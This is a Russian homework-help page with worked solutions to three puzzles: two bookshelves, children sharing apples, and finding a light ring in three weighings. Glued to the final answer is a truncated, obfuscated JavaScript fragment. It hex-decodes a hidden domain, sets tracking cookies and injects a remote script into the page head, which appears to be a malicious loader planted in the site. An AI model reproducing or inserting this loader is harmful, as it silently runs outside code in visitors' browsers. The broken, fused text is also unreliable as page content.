ответ на задачу олимпиадного уровня с желательно самым развёрнутым ответом. Можно не писать количество единиц, а просто максимально разложить.

На одной полке было в 3 раза больше книг, чем на другой. Когда с одной полки убрали 8 книг, а на другую положили 32 книги, то на полках стало книг поровну. Сколько книг было на каждой полке первоначально?

Пусть х книг было на одной полке, тогда 3х книг - было на другой полке. По условию задачи составляем уравнение:
3х-8= х+32
3х-х=32+8
2х=40
х=20 книг было на одной полке
20*3=60 книг было на другой полке

Дети делили яблоки. Когда каждому стали раздавать по 5 яблок, то последнему досталось 3 яблока; когда стали раздавать по 4 яблока, то осталось 15 яблок. Сколько было детей и сколько - яблок?
Пусть х детей было, тогда по количеству яблок ( их было в двух ситуациях одинаковое количество) составляем уравнение:
5(х-1)+3 = 4х+15
5х-5+3=4х+15
5х-4х=15+2
х=17  детей участвовало в раздаче яблок
4*17+15=83 яблока было

1 ВЗВЕШИВАНИЕ. откладываем 5 колец в сторону, взвешиваем оставшиеся кольца , по 5 штук на чаше весов. Если весы показывают, что одна чаша легче, то бракованное кольцо будет среди этих колец. Следующим шагом будем взвешивать именно эти 5 колец. Если весы показывают равенство чаш с десятью кольцами, значит, среди этих десяти колец нет бракованного легкого кольца и оно осталось среди тех 5-ти колец, что мы уже отложили. Значит, дальше взвешивать будем именно пятерку из этих колец. 2ВЗВЕШИВАНИЕ. Перед нами 5 колец оставшихся, откладываем одно кольцо в сторону. Взвешиваем оставшиеся 4 кольца по 2 штуки на чашу. Если Весы покажут равный вес чаш, то бракованное кольцо мы отложили уже в сторону. Значит, эксперимент закончен. Если Одна из чаш легче, то именно в ней среди двух колец находится бракованное. Эти два кольца и будем взвешивать в следующий раз. 3ВЗВЕШИВАНИЕ. У нас осталось только два кольца, взвешиваем и находим то, которое меньше. ОТВЕТ: 3 взвешиванияwindow.r r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();